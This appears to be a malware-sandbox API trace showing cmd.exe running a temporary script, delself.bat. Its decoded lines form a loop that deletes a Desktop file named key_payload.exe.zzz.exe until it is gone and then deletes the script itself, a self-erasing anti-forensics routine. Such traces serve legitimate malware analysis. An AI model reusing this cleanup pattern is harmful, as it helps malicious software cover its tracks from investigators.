-65 [0200.862] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0200.862] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0200.862] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0200.862] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0200.862] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0200.862] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0200.862] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0200.862] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0200.862] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0200.862] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0200.862] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0200.863] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0200.863] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0200.863] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0200.863] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0200.863] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0200.863] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0200.863] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0200.863] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0200.863] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0200.863] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0200.863] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0200.863] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0200.863] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0200.863] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0200.863] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0200.863] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0200.863] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0200.863] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0200.863] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0200.863] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0200.863] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0200.863] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0200.863] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0200.863] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0200.863] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0200.863] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0200.863] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0200.863] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0200.863] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0200.863] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0200.863] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0200.863] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0200.863] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0200.863] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0200.863] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0200.863] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0200.863] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0200.863] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0200.863] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0200.863] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0200.864] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0200.864] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0200.864] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0200.864] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0200.864] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0200.864] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0200.864] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0200.864] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0200.864] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0200.864] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0200.864] _wcsicmp (_String1="\"C", _String2="FOR") returned -68 [0200.864] _wcsicmp (_String1="\"C", _String2="IF") returned -71 [0200.864] _wcsicmp (_String1="\"C", _String2="REM") returned -80 [0200.864] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0200.864] SetErrorMode (uMode=0x0) returned 0x8001 [0200.865] SetErrorMode (uMode=0x1) returned 0x0 [0200.865] GetFullPathNameW (in: lpFileName="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\.", nBufferLength=0x208, lpBuffer=0x4e9b050, lpFilePart=0x4c7ef9c | out: lpBuffer="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp", lpFilePart=0x4c7ef9c*="Temp") returned 0x24 [0200.865] SetErrorMode (uMode=0x8001) returned 0x1 [0200.865] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\.") returned 1 [0200.865] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x22e4a0, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0200.868] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0200.868] FindFirstFileExW (in: lpFileName="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat", fInfoLevelId=0x1, lpFindFileData=0x4c7ed48, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4c7ed48) returned 0x4e9b200 [0200.869] FindClose (in: hFindFile=0x4e9b200 | out: hFindFile=0x4e9b200) returned 1 [0200.869] _wcsicmp (_String1=".bat", _String2=".CMD") returned -1 [0200.869] _wcsicmp (_String1=".bat", _String2=".BAT") returned 0 [0200.869] GetConsoleTitleW (in: lpConsoleTitle=0x4c7f21c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0200.869] ApiSetQueryApiSetPresence () returned 0x0 [0200.869] ResolveDelayLoadedAPI () returned 0x742e14a0 [0200.997] SaferWorker () returned 0x0 [0202.017] SetErrorMode (uMode=0x0) returned 0x8001 [0202.017] SetErrorMode (uMode=0x1) returned 0x0 [0202.017] GetFullPathNameW (in: lpFileName="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat", nBufferLength=0x104, lpBuffer=0x4e9adc0, lpFilePart=0x4c7f0cc | out: lpBuffer="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat", lpFilePart=0x4c7f0cc*="delself.bat") returned 0x30 [0202.017] SetErrorMode (uMode=0x8001) returned 0x1 [0202.035] CmdBatNotificationStub () returned 0x1 [0202.035] CreateFileW (lpFileName="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat" (normalized: "c:\\users\\ciihmn~1\\appdata\\local\\temp\\delself.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4c7f15c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4 [0202.035] _open_osfhandle (_OSFileHandle=0xb4, _Flags=8) returned 3 [0202.035] _get_osfhandle (_FileHandle=3) returned 0xb4 [0202.035] SetFilePointer (in: hFile=0xb4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0202.035] _get_osfhandle (_FileHandle=3) returned 0xb4 [0202.035] SetFilePointer (in: hFile=0xb4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0202.035] ReadFile (in: hFile=0xb4, lpBuffer=0x23a960, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x4c7f12c, lpOverlapped=0x0 | out: lpBuffer=0x23a960*, lpNumberOfBytesRead=0x4c7f12c*=0xcf, lpOverlapped=0x0) returned 1 [0202.036] SetFilePointer (in: hFile=0xb4, lDistanceToMove=11, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0202.036] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x23a960, cbMultiByte=11, lpWideCharStr=0x2257e0, cchWideChar=8191 | out: lpWideCharStr="@echo off\r\n") returned 11 [0202.037] _get_osfhandle (_FileHandle=3) returned 0xb4 [0202.037] GetFileType (hFile=0xb4) returned 0x1 [0202.037] _get_osfhandle (_FileHandle=3) returned 0xb4 [0202.037] SetFilePointer (in: hFile=0xb4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0202.037] _wcsicmp (_String1="echo", _String2=")") returned 60 [0202.037] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0202.037] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0202.037] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0202.037] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0202.037] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0202.037] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0202.039] _tell (_FileHandle=3) returned 11 [0202.039] _close (_FileHandle=3) returned 0 [0202.039] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0202.039] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0202.039] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0202.039] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0202.039] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0202.039] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0202.039] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0202.039] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0202.039] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0202.039] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0202.039] GetConsoleTitleW (in: lpConsoleTitle=0x4c7ed10, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0202.047] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0202.047] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0202.047] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0202.047] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0202.047] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0202.047] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0202.047] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0202.052] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0202.052] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0202.052] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0202.053] _wcsnicmp (_String1="off", _String2="off", _MaxCount=0x3) returned 0 [0202.053] _get_osfhandle (_FileHandle=1) returned 0x3c [0202.053] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x3) returned 1 [0202.067] _get_osfhandle (_FileHandle=1) returned 0x3c [0202.067] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x22e40c | out: lpMode=0x22e40c) returned 1 [0202.082] _get_osfhandle (_FileHandle=0) returned 0x38 [0202.082] GetConsoleMode (in: hConsoleHandle=0x38, lpMode=0x22e408 | out: lpMode=0x22e408) returned 1 [0202.086] SetConsoleInputExeNameW () returned 0x1 [0202.086] GetConsoleOutputCP () returned 0x1b5 [0202.089] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x22e460 | out: lpCPInfo=0x22e460) returned 1 [0202.089] SetThreadUILanguage (LangId=0x0) returned 0x409 [0202.091] CreateFileW (lpFileName="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat" (normalized: "c:\\users\\ciihmn~1\\appdata\\local\\temp\\delself.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4c7f15c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4 [0202.091] _open_osfhandle (_OSFileHandle=0xb4, _Flags=8) returned 3 [0202.091] _get_osfhandle (_FileHandle=3) returned 0xb4 [0202.091] SetFilePointer (in: hFile=0xb4, lDistanceToMove=11, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0202.092] _get_osfhandle (_FileHandle=3) returned 0xb4 [0202.092] SetFilePointer (in: hFile=0xb4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0202.092] ReadFile (in: hFile=0xb4, lpBuffer=0x23a960, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x4c7f12c, lpOverlapped=0x0 | out: lpBuffer=0x23a960*, lpNumberOfBytesRead=0x4c7f12c*=0xc4, lpOverlapped=0x0) returned 1 [0202.092] SetFilePointer (in: hFile=0xb4, lDistanceToMove=17, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11 [0202.092] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x23a960, cbMultiByte=6, lpWideCharStr=0x2257e0, cchWideChar=8191 | out: lpWideCharStr=":try\r\noff\r\n") returned 6 [0202.092] _get_osfhandle (_FileHandle=3) returned 0xb4 [0202.092] GetFileType (hFile=0xb4) returned 0x1 [0202.092] _get_osfhandle (_FileHandle=3) returned 0xb4 [0202.092] SetFilePointer (in: hFile=0xb4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11 [0202.092] _tell (_FileHandle=3) returned 17 [0202.092] _close (_FileHandle=3) returned 0 [0202.093] CreateFileW (lpFileName="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat" (normalized: "c:\\users\\ciihmn~1\\appdata\\local\\temp\\delself.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4c7f15c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4 [0202.093] _open_osfhandle (_OSFileHandle=0xb4, _Flags=8) returned 3 [0202.093] _get_osfhandle (_FileHandle=3) returned 0xb4 [0202.093] SetFilePointer (in: hFile=0xb4, lDistanceToMove=17, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11 [0202.093] _get_osfhandle (_FileHandle=3) returned 0xb4 [0202.093] SetFilePointer (in: hFile=0xb4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11 [0202.093] ReadFile (in: hFile=0xb4, lpBuffer=0x23a960, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x4c7f12c, lpOverlapped=0x0 | out: lpBuffer=0x23a960*, lpNumberOfBytesRead=0x4c7f12c*=0xbe, lpOverlapped=0x0) returned 1 [0202.093] SetFilePointer (in: hFile=0xb4, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0202.093] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x23a960, cbMultiByte=61, lpWideCharStr=0x2257e0, cchWideChar=8191 | out: lpWideCharStr="del \"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\key_payload.exe.zzz.exe\"\r\n") returned 61 [0202.094] _get_osfhandle (_FileHandle=3) returned 0xb4 [0202.094] GetFileType (hFile=0xb4) returned 0x1 [0202.094] _get_osfhandle (_FileHandle=3) returned 0xb4 [0202.094] SetFilePointer (in: hFile=0xb4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0202.095] _wcsicmp (_String1="del", _String2=")") returned 59 [0202.095] _wcsicmp (_String1="FOR", _String2="del") returned 2 [0202.095] _wcsicmp (_String1="FOR/?", _String2="del") returned 2 [0202.095] _wcsicmp (_String1="IF", _String2="del") returned 5 [0202.095] _wcsicmp (_String1="IF/?", _String2="del") returned 5 [0202.095] _wcsicmp (_String1="REM", _String2="del") returned 14 [0202.095] _wcsicmp (_String1="REM/?", _String2="del") returned 14 [0202.096] _tell (_FileHandle=3) returned 78 [0202.096] _close (_FileHandle=3) returned 0 [0202.097] _wcsicmp (_String1="del", _String2="DIR") returned -4 [0202.097] _wcsicmp (_String1="del", _String2="ERASE") returned -1 [0202.097] _wcsicmp (_String1="del", _String2="DEL") returned 0 [0202.097] GetConsoleTitleW (in: lpConsoleTitle=0x4c7ed10, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0202.102] _wcsicmp (_String1="del", _String2="DIR") returned -4 [0202.102] _wcsicmp (_String1="del", _String2="ERASE") returned -1 [0202.102] _wcsicmp (_String1="del", _String2="DEL") returned 0 [0202.103] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x4c7eab8 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0202.103] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x4c7db28 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0202.103] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x4c7dd5c, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x4c7dd60, nFileSystemNameSize=0x106 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x4c7dd5c*=0xff, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1 [0202.103] _wcsicmp (_String1="NTFS", _String2="FAT") returned 8 [0202.103] _wcsicmp (_String1="key_payload.exe.zzz.exe", _String2=".") returned 61 [0202.103] _wcsicmp (_String1="key_payload.exe.zzz.exe", _String2="..") returned 61 [0202.103] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\key_payload.exe.zzz.exe")) returned 0x20 [0202.103] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ea8868 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0202.104] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\key_payload.exe.zzz.exe", nBufferLength=0x104, lpBuffer=0x4c7e188, lpFilePart=0x4c7e15c | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\key_payload.exe.zzz.exe", lpFilePart=0x4c7e15c*="key_payload.exe.zzz.exe") returned 0x35 [0202.104] SetErrorMode (uMode=0x8001) returned 0x1 [0202.104] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0202.104] _wcsicmp (_String1="key_payload.exe.zzz.exe", _String2=".") returned 61 [0202.104] _wcsicmp (_String1="key_payload.exe.zzz.exe", _String2="..") returned 61 [0202.104] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\key_payload.exe.zzz.exe")) returned 0x20 [0202.104] FindFirstFileExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\key_payload.exe.zzz.exe", fInfoLevelId=0x0, lpFindFileData=0x4ea8dc4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4ea8dc4) returned 0x4ea95c8 [0202.104] RtlDosPathNameToRelativeNtPathName_U_WithStatus () returned 0x0 [0202.104] NtOpenFile (in: FileHandle=0x4c7e05c, DesiredAccess=0x10000, ObjectAttributes=0x4c7e024*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\CIiHmnxMn6Ps\\Desktop\\key_payload.exe.zzz.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x4c7e04c, ShareAccess=0x4, OpenOptions=0x5040 | out: FileHandle=0x4c7e05c*=0xb0, IoStatusBlock=0x4c7e04c*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0202.105] RtlReleaseRelativeName () returned 0x4c7e03c [0202.106] RtlFreeAnsiString (AnsiString="\\") [0202.106] NtQueryVolumeInformationFile (in: FileHandle=0xb0, IoStatusBlock=0x4c7df88, FsInformation=0x4c7df90, Length=0x8, FsInformationClass=0x4 | out: IoStatusBlock=0x4c7df88, FsInformation=0x4c7df90) returned 0x0 [0202.106] CloseHandle (hObject=0xb0) returned 1 [0202.115] FindNextFileW (in: hFindFile=0x4ea95c8, lpFindFileData=0x4ea8dc4 | out: lpFindFileData=0x4ea8dc4) returned 0 [0202.116] GetLastError () returned 0x12 [0202.116] FindClose (in: hFindFile=0x4ea95c8 | out: hFindFile=0x4ea95c8) returned 1 [0202.117] _get_osfhandle (_FileHandle=1) returned 0x3c [0202.117] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x3) returned 1 [0202.118] _get_osfhandle (_FileHandle=1) returned 0x3c [0202.118] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x22e40c | out: lpMode=0x22e40c) returned 1 [0202.129] _get_osfhandle (_FileHandle=0) returned 0x38 [0202.129] GetConsoleMode (in: hConsoleHandle=0x38, lpMode=0x22e408 | out: lpMode=0x22e408) returned 1 [0202.140] SetConsoleInputExeNameW () returned 0x1 [0202.140] GetConsoleOutputCP () returned 0x1b5 [0202.141] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x22e460 | out: lpCPInfo=0x22e460) returned 1 [0202.141] SetThreadUILanguage (LangId=0x0) returned 0x409 [0202.143] CreateFileW (lpFileName="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat" (normalized: "c:\\users\\ciihmn~1\\appdata\\local\\temp\\delself.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4c7f15c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4 [0202.143] _open_osfhandle (_OSFileHandle=0xb4, _Flags=8) returned 3 [0202.143] _get_osfhandle (_FileHandle=3) returned 0xb4 [0202.143] SetFilePointer (in: hFile=0xb4, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0202.144] _get_osfhandle (_FileHandle=3) returned 0xb4 [0202.144] SetFilePointer (in: hFile=0xb4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0202.144] ReadFile (in: hFile=0xb4, lpBuffer=0x23a960, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x4c7f12c, lpOverlapped=0x0 | out: lpBuffer=0x23a960*, lpNumberOfBytesRead=0x4c7f12c*=0x81, lpOverlapped=0x0) returned 1 [0202.144] SetFilePointer (in: hFile=0xb4, lDistanceToMove=153, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x99 [0202.144] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x23a960, cbMultiByte=75, lpWideCharStr=0x2257e0, cchWideChar=8191 | out: lpWideCharStr="if exist \"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\key_payload.exe.zzz.exe\" goto try\r\n") returned 75 [0202.144] _get_osfhandle (_FileHandle=3) returned 0xb4 [0202.144] GetFileType (hFile=0xb4) returned 0x1 [0202.144] _get_osfhandle (_FileHandle=3) returned 0xb4 [0202.144] SetFilePointer (in: hFile=0xb4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x99 [0202.145] _wcsicmp (_String1="if", _String2=")") returned 64 [0202.145] _wcsicmp (_String1="FOR", _String2="if") returned -3 [0202.145] _wcsicmp (_String1="FOR/?", _String2="if") returned -3 [0202.145] _wcsicmp (_String1="IF", _String2="if") returned 0 [0202.145] _wcsicmp (_String1="IF/?", _String2="if") returned 47 [0202.146] _wcsicmp (_String1="exist", _String2="/I") returned 54 [0202.146] _wcsicmp (_String1="ERRORLEVEL", _String2="exist") returned -6 [0202.146] _wcsicmp (_String1="EXIST", _String2="exist") returned 0 [0202.148] _wcsicmp (_String1="goto", _String2=")") returned 62 [0202.148] _wcsicmp (_String1="FOR", _String2="goto") returned -1 [0202.148] _wcsicmp (_String1="FOR/?", _String2="goto") returned -1 [0202.148] _wcsicmp (_String1="IF", _String2="goto") returned 2 [0202.148] _wcsicmp (_String1="IF/?", _String2="goto") returned 2 [0202.148] _wcsicmp (_String1="REM", _String2="goto") returned 11 [0202.148] _wcsicmp (_String1="REM/?", _String2="goto") returned 11 [0202.149] _wcsicmp (_String1="ELSE", _String2="\n") returned 91 [0202.149] _tell (_FileHandle=3) returned 153 [0202.149] _close (_FileHandle=3) returned 0 [0202.149] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\key_payload.exe.zzz.exe", nBufferLength=0x208, lpBuffer=0x4c7ecf8, lpFilePart=0x4c7eaa0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\key_payload.exe.zzz.exe", lpFilePart=0x4c7eaa0*="key_payload.exe.zzz.exe") returned 0x35 [0202.149] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0202.149] FindFirstFileExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\key_payload.exe.zzz.exe", fInfoLevelId=0x1, lpFindFileData=0x4c7eaa8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4c7eaa8) returned 0xffffffff [0202.150] GetLastError () returned 0x2 [0202.150] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0202.150] GetLastError () returned 0x6 [0202.150] _get_osfhandle (_FileHandle=1) returned 0x3c [0202.150] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x3) returned 1 [0202.151] _get_osfhandle (_FileHandle=1) returned 0x3c [0202.151] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x22e40c | out: lpMode=0x22e40c) returned 1 [0202.152] _get_osfhandle (_FileHandle=0) returned 0x38 [0202.152] GetConsoleMode (in: hConsoleHandle=0x38, lpMode=0x22e408 | out: lpMode=0x22e408) returned 1 [0202.153] SetConsoleInputExeNameW () returned 0x1 [0202.153] GetConsoleOutputCP () returned 0x1b5 [0202.153] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x22e460 | out: lpCPInfo=0x22e460) returned 1 [0202.153] SetThreadUILanguage (LangId=0x0) returned 0x409 [0202.155] CreateFileW (lpFileName="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat" (normalized: "c:\\users\\ciihmn~1\\appdata\\local\\temp\\delself.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4c7f15c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4 [0202.155] _open_osfhandle (_OSFileHandle=0xb4, _Flags=8) returned 3 [0202.155] _get_osfhandle (_FileHandle=3) returned 0xb4 [0202.155] SetFilePointer (in: hFile=0xb4, lDistanceToMove=153, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x99 [0202.156] _get_osfhandle (_FileHandle=3) returned 0xb4 [0202.156] SetFilePointer (in: hFile=0xb4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x99 [0202.156] ReadFile (in: hFile=0xb4, lpBuffer=0x23a960, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x4c7f12c, lpOverlapped=0x0 | out: lpBuffer=0x23a960*, lpNumberOfBytesRead=0x4c7f12c*=0x36, lpOverlapped=0x0) returned 1 [0202.156] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x23a960, cbMultiByte=54, lpWideCharStr=0x2257e0, cchWideChar=8191 | out: lpWideCharStr="del \"C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat\"e.zzz.exe\" goto try\r\n") returned 54 [0202.156] _wcsicmp (_String1="del", _String2=")") returned 59 [0202.156] _wcsicmp (_String1="FOR", _String2="del") returned 2 [0202.156] _wcsicmp (_String1="FOR/?", _String2="del") returned 2 [0202.156] _wcsicmp (_String1="IF", _String2="del") returned 5 [0202.157] _wcsicmp 